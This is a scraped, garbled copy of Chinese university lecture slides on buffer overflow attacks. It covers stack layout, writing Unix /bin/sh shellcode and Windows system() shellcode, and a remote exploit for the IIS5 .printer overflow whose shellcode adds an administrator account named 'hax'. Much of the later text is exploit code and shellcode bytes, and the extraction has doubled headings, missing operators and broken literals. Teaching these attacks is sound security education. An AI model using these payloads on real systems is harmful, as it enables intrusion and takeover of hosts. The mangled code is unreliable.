




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
1、網絡安全羅羅 敏敏 武漢大學計算機學院武漢大學計算機學院2第第4章章 拒絕服務攻擊拒絕服務攻擊 重點回顧重點回顧l拒絕服務攻擊概述l拒絕服務攻擊分類l服務端口攻擊l電子郵件轟炸l分布式拒絕服務攻擊DDoS3第第5章章 緩沖區溢出攻擊緩沖區溢出攻擊l本章介紹緩沖區溢出攻擊的原理,通過具體實例分析攻擊UNIX系統和攻擊WINDOWS系統的特點和方法。 4第第5章章 緩沖區溢出攻擊緩沖區溢出攻擊l5.1 緩沖區溢出攻擊的原理l5.2 緩沖區溢出程序的原理及要素l5.3 攻擊UNIXl5.4 攻擊WINDOWS5 緩沖區溢出攻擊的原理緩沖區溢出攻擊的原理l定義l緩沖區溢出攻擊是一種通過往程序的緩沖區寫
2、超出其長度的內容,造成緩沖區溢出,從而破壞程序的堆棧,使程序轉而執行其他預設指令,以達到攻擊目的的攻擊方法 第第5 5章章 第第1 1節節6 緩沖區溢出攻擊的原理緩沖區溢出攻擊的原理lMorrisl1988年,美國康奈爾大學的計算機科學系研究生、23歲的莫里斯利用Unix fingered程序不限制輸入長度的漏洞,輸入512個字符后使緩沖器溢出,同時編寫一段特別大的惡意程序能以root(根)身份執行,并感染到其他機器上。它造成全世界6000多臺網絡服務器癱瘓 第第5 5章章 第第1 1節節7 緩沖區溢出程序原理及要素緩沖區溢出程序原理及要素l緩沖區溢出程序的原理 l眾所周知,C語言不進行數組的
3、邊界檢查 l在許多C語言實現的應用程序中,都假定緩沖區的長度是足夠的,即它的長度肯定大于要拷貝的字符串的長度 事實并非如此事實并非如此第第5 5章章 第第2 2節節8 緩沖區溢出程序原理及要素緩沖區溢出程序原理及要素l緩沖區溢出程序的原理 程 序 段 數 據 段堆 棧第第5 5章章 第第2 2節節9 緩沖區溢出程序原理及要素緩沖區溢出程序原理及要素l緩沖區溢出程序的原理l例 1 void proc(int i) int local;local=i;void main()proc(1);main:push1call procproc:pushebpmovebp,espsubesp,4moveax
4、,ebp+08movebp-4,eaxaddesp,4popebpret4第第5 5章章 第第2 2節節10 緩沖區溢出程序原理及要素緩沖區溢出程序原理及要素l緩沖區溢出程序的原理l例 2void function(char void function(char * *str)str) char buffer16; char buffer16; strcpy(buffer,str); strcpy(buffer,str); void main()void main() int t; int t; char buffer128; char buffer128; for(i=0;i127;i+)
5、for(i=0;i127;i+) bufferi=A bufferi=A; buffer127=0;buffer127=0; function(buffer); function(buffer); printf(This is a testn); printf(This is a testn); 第第5 5章章 第第2 2節節11 緩沖區溢出程序原理及要素緩沖區溢出程序原理及要素l緩沖區溢出程序的原理l例 2壓入堆棧中傳遞的參數返回地址少量存儲單元Buffer 16字節空間A A0 x41414141.16個A第第5 5章章 第第2 2節節12 緩沖區溢出程序原理及要素緩沖區溢出程序原理及要素
6、l為了執行一段精心準備的程序,需要4個步驟l準備一段SHELLCODEl申請一個緩沖區,并將機器碼填入緩沖區的低端l估算機器碼在堆棧中的起始位置,并將這個位置寫入緩沖區的高端l將這個緩沖區作為系統一個有著緩沖區溢出錯誤的程序的一個入口參數,并執行這個有錯誤的程序 第第5 5章章 第第2 2節節13 緩沖區溢出程序原理及要素緩沖區溢出程序原理及要素l關鍵技術l在程序的地址空間安排適當的代碼 l將控制程序轉移到攻擊代碼的方式lFunction Pointers lActivation Records lLongjmp buffers l植入碼和流程控制 l可執行的地址空間l代碼段/數據段/堆棧段l
7、JVM第第5 5章章 第第2 2節節14 攻擊攻擊UNIXlUNIX操作系統簡介 lFreeBSD文件系統的路徑組織結構 / 根文件系統,用于存儲系統內核,啟動管理和其他文件系統的裝載點。/bin 系統啟動時需要的一些通用可執行程序。/cdrom 光盤驅動器的裝載點。/compat 與系統兼容有關的內容,如系統模擬等。/dev 設備入口點。在UNIX系統上,每個設備都作為一個文件來看待,這里放著所有系統能夠用到的各個設備/etc 各種配置文件。非常重要的一個目錄,所有的配置文件(可以看成是WINDOWS的注冊表)包括用戶密碼文檔等存放在這里/mnt 軟盤等其他文件系統的裝載點。/modules
8、 內核可裝載模塊。第第5 5章章 第第3 3節節15 攻擊攻擊UNIXlUNIX操作系統簡介 l文件系統的路徑組織結構/proc 進程文件系統,存儲指向當前活動進程的虛擬內存的偽文件。/root root用戶的工作目錄。/sbin 系統可執行文件。/stand 獨立執行的程序,sysinstall就在這個目錄下。在安裝配置系統時用到/usr 第二個文件系統。基本上是和系統核心無關但又屬于操作系統的一部分的一個目錄,大多數的應用程序,還有各用戶的私有資料存放在這個子系統/usr/bin 與系統啟動無關的標準應用程序。/usr/sbin 系統啟動時不需要使用的一些系統管理程序。 /usr/game
9、s 游戲。/usr/home 用戶目錄。存放各個用戶自己的文件。第第5 5章章 第第3 3節節16 攻擊攻擊UNIXlUNIX操作系統簡介 l文件系統的路徑組織結構/usr/include 程序需要的頭文件。/usr/lib 程序需要的庫文件。/usr/libexec 一些不由用戶直接運行的執行程序,如ftpd telnetd 等服務程序 /usr/man 幫助文件 /usr/X11R6 X-Windows系統/usr/X11R6/bin 可執行的X-Windows程序/usr/X11R6/include X-Windows程序的頭文件。/usr/X11R6/lib X-Windows程序的庫
10、文件。/usr/X11R6/man X-Windows程序的幫助文件。第第5 5章章 第第3 3節節17 攻擊攻擊UNIXlUNIX操作系統簡介 l文件系統的路徑組織結構/usr/share 各種共享的只讀文件,大多數是一些系統信息,文檔,包括有FreeBSD手冊等。/usr/local 第三個子文件系統,不屬于FreeBSD一部分的其他程序。 /var 存儲經常發生變化的文件,如郵件,日志等。/var/log 系統日志。/var/mail 發給用戶的信件。/var/spool 緩沖數據,如打印數據等。/var/tmp 臨時文件。第第5 5章章 第第3 3節節18 攻擊攻擊UNIXlUNIX操
11、作系統簡介 lUNIX系統的文件屬性和存取權限 #ls -la# -rw-rw-rw- 1 root wheel 170 jan 7 19:46 mnk# -rw-r- 1 root wheel 18204 jan 8 20:34 nmap.tar.gz# -rwxr-xr- 1 candy user 1204 may 23 13:00 mysh.sh# drwx- 2 netdemon user 512 may 23 14:23 mydoc|-1-|-2-|-3-|-4-|-5-|-6-|-7-|文件屬性/文件數量/所有者/所屬組/文件大小/文件修改時間/文件名第第5 5章章 第第3 3節節
12、19 攻擊攻擊UNIXlUNIX操作系統簡介 l核與Shell的交互 l啟動l登錄l執行命令l退出第第5 5章章 第第3 3節節20 攻擊攻擊UNIXlUNIX操作系統簡介 lShell的功能和特點 l命令行解釋l使用保留字l使用Shell元字符(通配符)l可處理程序命令l使用輸入輸出重定向和管道l維護變量l運行環境控制l支持Shell編程第第5 5章章 第第3 3節節21 攻擊攻擊UNIXl攻擊UNIX實例分析 lShell Code 的編寫 void main() char *name2;name0 = /bin/sh;name1 = NULL;execve(name0, name, NU
13、LL);第第5 5章章 第第3 3節節22Dump of assembler code for function main:0 x8000130 : pushl %ebp0 x8000131 :movl %esp,%ebp0 x8000133 : subl $0 x8,%esp0 x8000136 : movl $0 x80027b8,0 xfffffff8(%ebp)0 x800013d : movl $0 x0,0 xfffffffc(%ebp)0 x8000144 : pushl $0 x00 x8000146 : leal 0 xfffffff8(%ebp),%eax0 x800014
14、9 : pushl %eax0 x800014a : movl 0 xfffffff8(%ebp),%eax0 x800014d : pushl %eax0 x800014e : call 0 x80002bc 0 x8000153 : addl $0 xc,%esp0 x8000156 : movl %ebp,%esp0 x8000158 : popl %ebp0 x8000159 : ret第第5 5章章 第第3 3節節23Dump of assembler code for function _execve:0 x80002bc : pushl %ebp0 x80002bd : movl
15、 %esp,%ebp0 x80002bf : pushl %ebx0 x80002c0 : movl $0 xb,%eax0 x80002c5 : movl 0 x8(%ebp),%ebx0 x80002c8 : movl 0 xc(%ebp),%ecx0 x80002cb : movl 0 x10(%ebp),%edx0 x80002ce : int $0 x800 x80002d0 : movl %eax,%edx0 x80002d2 : testl %edx,%edx0 x80002d4 : jnl 0 x80002e6 第第5 5章章 第第3 3節節240 x80002d6 : neg
16、l %edx0 x80002d8 : pushl %edx0 x80002d9 : call 0 x8001a34 0 x80002de : popl %edx0 x80002df : movl %edx,(%eax)0 x80002e1 : movl $0 xffffffff,%eax0 x80002e6 : popl %ebx0 x80002e7 : movl %ebp,%esp0 x80002e9 : popl %ebp0 x80002ea : ret0 x80002eb : nop第第5 5章章 第第3 3節節25 攻擊攻擊UNIXl攻擊UNIX實例分析 lShell Code 的編寫
17、 l匯編語言程序leal string,string_addrmovl $0 x0,null_addrmovl $0 xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint $0 x80stringdb/bin/sh,0string_addrdd0null_addrdd0第第5 5章章 第第3 3節節26 攻擊攻擊UNIXl攻擊UNIX實例分析 lShell Code 的編寫 l匯編語言程序l相對偏移jmp 0 x20popl esimovb $0 x0,0 x7(%esi)movl %esi,0 x8
18、(%esi)movl $0 x0,0 xC(%esi)movl $0 xb,%eaxmovl %esi,%ebxleal 0 x8(%esi),%ecxleal 0 xC(%esi),%edxint $0 x80call -0 x25string db /bin/sh,0 string_addr dd 0null_addr dd 0 第第5 5章章 第第3 3節節27 攻擊攻擊UNIXl攻擊UNIX實例分析 lShell Code 的編寫 l匯編語言程序l相對偏移 l消除0void main() _asm_(jmp 0 x18/ # 2 bytespopl %esi/ # 1 bytemovl
19、 %esi,0 x8(%esi)/ # 3 bytesxorl %eax,%eax/ # 2 bytesmovb %eax,0 x7(%esi)/ # 3 bytesmovl %eax,0 xc(%esi)/ # 3 bytesmovb $0 xb,%al/ # 2 bytesmovl %esi,%ebx/ # 2 bytesleal 0 x8(%esi),%ecx/ # 3 bytesleal 0 xc(%esi),%edx/ # 3 bytesint$0 x80/ # 2 bytescall -0 x2d/ # 5 bytesstring /bin/sh/ # 8 bytes);第第5 5
20、章章 第第3 3節節28 攻擊攻擊UNIXl攻擊UNIX實例分析 lShell Code 的編寫 l匯編語言程序l相對偏移 l消除0l機器代碼xebx18x5ex89x76x08x31xc0 x88x46x07x89x46x0cxb0 x0bx89xf3x8dx4ex08x8dx56x0cxcdx80 xe8xecxffxffxff/bin/sh第第5 5章章 第第3 3節節29 攻擊攻擊UNIXl攻擊UNIX實例分析 lShell Code 的編寫 l匯編語言程序l相對偏移 l消除0l機器代碼l攻擊程序第第5 5章章 第第3 3節節30char shellcode =xebx18x5ex89
21、x76x08x31xc0 x88x46x07x89x46x0cxb0 x0bx89xf3x8dx4ex08x8dx56x0cxcdx80 xe8xecxffxffxff/bin/sh;char large_string128;void main()char buffer96;int i;long *long_ptr = (long *) large_string; /* long_ptr指向指向largestring的起始地址的起始地址 */for(i=0;i32;i+) *(long_ptr+i)=(int)buffer; /* 用用buffer的地址填充的地址填充long_ptr */fo
22、r(i=0;istrlen(shellcode);i+) large_stringi=shellcodei; /* 將將ShellCode放在放在large_string*/strcpy(buffer,large_string); 第第5 5章章 第第3 3節節31 攻擊攻擊UNIXl攻擊UNIX實例分析 lShell Code 的編寫 l匯編語言程序l相對偏移 l消除0l機器代碼l攻擊程序lNOP填充/嘗試地址第第5 5章章 第第3 3節節32 攻擊攻擊WINDOWSl與UNIX的不同lWINDOWS系統的用戶進程空間是0-2G,操作系統所占的空間為2-4Gl用戶進程的加載位置為:0 x00
23、400000l這個進程的所有指令地址,數據地址和堆棧指針都會含有0,那么我們的返回地址就必然含有0第第5 5章章 第第4 4節節33 攻擊攻擊WINDOWSl與UNIX的不同lShellcode 的模式lNNNNSSSSAAAAAA lNNNNAAAAAASSSS第第5 5章章 第第4 4節節34 攻擊攻擊WINDOWSl攻擊WINDOWS實例分析l編寫Shellcode#include#includetypedef void (*MYPROC)(LPSTR);int main() HINSTANCE LibHandle; MYPROC ProcAdd; Char dllbuf11=”msvc
24、rt.dll”; Char sysbuf7=”system”; Char cmdbuf16=”; LibHandle=LoadLibrary(dllbuf); ProcAdd=(MYPROC)GetProcAddess(Libhandle,sysbuf); (PocAdd)(cmdbuf); return 0;第第5 5章章 第第4 4節節35 攻擊攻擊WINDOWSl攻擊WINDOWS實例分析l編寫Shellcodel匯編程序第第5 5章章 第第4 4節節36#include #include void main(void)LoadLibrary(msvcrt.dll);_asmmov es
25、p, ebp/* 把把ebp的內容賦值給的內容賦值給esp */push ebp/* 保存保存ebp,esp-4 */mov ebp, esp/* 給給ebp賦新值賦新值,作為局部變量的基指針作為局部變量的基指針 */xor edi, edipush edi/* 壓入壓入0,esp-4作用是構造字符串的結尾作用是構造字符串的結尾0字字符。符。*/sub esp, 08h/* 加上上面加上上面,共有共有12個字節個字節,用來存放用來存放 */mov byte ptrebp - 0ch, 63hmov byte ptrebp - 0bh, 6fh第第5 5章章 第第4 4節節37mov byte
26、ptrebp - 0ah, 6dhmov byte ptrebp - 09h, 6Dhmov byte ptrebp - 08h, 61hmov byte ptrebp - 07h, 6ehmov byte ptrebp - 06h, 64hmov byte ptrebp - 05h, 2Ehmov byte ptrebp - 04h, 63hmov byte ptrebp - 03h, 6fhmov byte ptrebp - 02h, 6dh/* 生成串生成串 */lea eax, ebp - 0chpush eax/* 串地址作為參數入棧串地址作為參數入棧 */mov eax, 0 x7
27、8019824call eax/* 調用調用system */第第5 5章章 第第4 4節節38 攻擊攻擊WINDOWSl攻擊WINDOWS實例分析l編寫Shellcodel匯編程序l機器代碼第第5 5章章 第第4 4節節39char shellcode=0 x8B,0 xEC,/* mov esp,ebp */0 x55,/* push ebp */0 x8B,0 xEC,0 x0C,/* sub esp,0000000C */0 xB8,0 x63,0 x6F,0 x6d,/* mov eax,6D6D6F63 */ 0 x89,0 x45,0 xF4,/* mov dword ptreb
28、p-0C,eax */0 xB8,0 x61,0 x6E,0 x64,0 x2E,/* mov eax,2E646E61 */0 x89,0 x45,0 xF8,/*mov dword ptrebp-08,eax */0 xB8,0 x63,0 x6F,0 x6D,0 x22,/* mov eax,226D6F63 */0 x89,0 x45,0 xFC,/* mov dword ptrebp-04,eax */0 x33,0 xD2,/* xor edx,edx */0 x88,0 x55,0 xFF,/* mov byte ptrebp-01,dl */0 x8D,0 x45,0 xF4,
29、/* lea eax,dword ptrebp-0C */0 x50,/* push eax */0 xB8,0 x24,0 x98,0 x01,0 x78,/* mov eax,78019824 */oxFF,0 xD0/* call eax */; 第第5 5章章 第第4 4節節40 攻擊攻擊WINDOWSl攻擊WINDOWS實例分析l編寫Shellcodel匯編程序l機器代碼l攻擊lWINDOWS 2000 IIS 5 lISAPI msw3prt.dll l攻擊程序第第5 5章章 第第4 4節節41#include #include #include #include #include
30、 void usage(void)printf(ncniis-IIS5 Chinese version.printer remote exploitn);printf(Usage:cniisn);exit(1);第第5 5章章 第第4 4節節42main(int argc, char *argv)/* 這段Shellcode所做的就是把net user hax hax/add&net localgroup Administrators hax/add壓入堆棧, 然后調用system()來執行上面的命令, 即增添一個管理員帳號hax */unsigned charshellcode =
31、x55x53x8BxECx33xDBx53x83xECx3CxB8x6Ex65x74x20 x89x45xC3xB8x75x73x65x72x89x45xC7xB8x20 x68x61x78x89x45xCBx89x45xCFxB8x20 x2Fx61x64x89x45xD3xB8x64x26x6Ex65x89x45xD7xB8x74x20 x6Cx6Fx89x45xDBxB8x63x61x6Cx67x89x45xDFxB8x72x6Fx75x70 x89x45xE3xB8x20 x41x64x6Dx89x45xE7xB8x69x6Ex69x73x89x45xEBxB8x74x72x61x74
32、x89x45xEFxB8x6Fx72x73x20 x89x45xF3xB8x68x61x78x20 x89x45xF7xB8x2F61x64x64x89x45xFBx8Dx45xC3x50 xB8xADxAAx01x78xFFxD0 x8BxE5x5Bx5Dx03x03x03;第第5 5章章 第第4 4節節43charrequest = GET/NULL.printer HTTP/1.0;charsploit857;char*finger;inti, X, sock;unsigned shortserverport = htons(80);struct hostent*nametocheck;
33、struct sockaddr_inserv_addr;struct in_addrattack;WORDwerd;WSADATAwsd;第第5 5章章 第第4 4節節44werd = MAKEWORD(2, 0);WSAStartup(werd, &wsd);if(argc h_addr_list0, 4);memcpy(sploit, request, 26);finger = &sploit26;*(finger+) = 0 x0d;*(finger+) = 0 x0a;*(finger+) = H;*(finger+) = o;*(finger+) = s;*(finger+) = t;*(finger+) = :;*(finger+) = ;第第5 5章章 第第4 4節節45/* 溢出串放在Host:后面 */for(i = 0; i 268; i+) *(finger+) = (char) 0 x90;*(finger+) = (char) 0 x2a;*(finger+) = (char) 0 xe3;*(finger+) = (char) 0 xe2;*(finger+) = (char) 0 x77;/* 這里就User32.dll(5.0.2180.1)中jmp esp的位置,
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 江西初中紅色文化課件
- 行政管理專業知識擴展試題及答案
- 拓寬執業藥師考試知識面的重要性與試題答案
- 安全三級教育培訓課件
- 教學課件:直流-交流變換器原理與應用
- 碧波蕩漾人家情課件
- 行政管理專科語文考點分析試題及答案
- 臨床病例分析2025年試題及答案
- 海的呼喚 - 課件設計
- 行政法學的評估標準及試題及答案
- 上海2025年上海交通大學醫學院招聘72人筆試歷年參考題庫附帶答案詳解
- GB/T 45135-2024鈦合金板材超塑成形和擴散連接件通用技術規范
- 臨床內鏡下粘膜剝離術(ESD)護理要點及健康教育
- 【含聽力9英一模】合肥市蜀山區2024年中考一模英語
- 人有遠近情有親疏-《差序格局》說課稿 2024-2025學年統編版高中語文必修上冊
- 保利拍賣行合同模板
- 小學一年級數學計算題共10087題
- 開發綠色建筑材料的研究與應用
- DB22T 2004-2014 空氣甲醛現場檢測儀
- 國家建設部110號文件《住宅室內裝飾裝修管理辦法》
- 第五課+弘揚勞動精神、勞模精神、工匠精神【中職專用】中職思想政治《職業道德與法治》高效課堂(高教版2023·基礎模塊)
評論
0/150
提交評論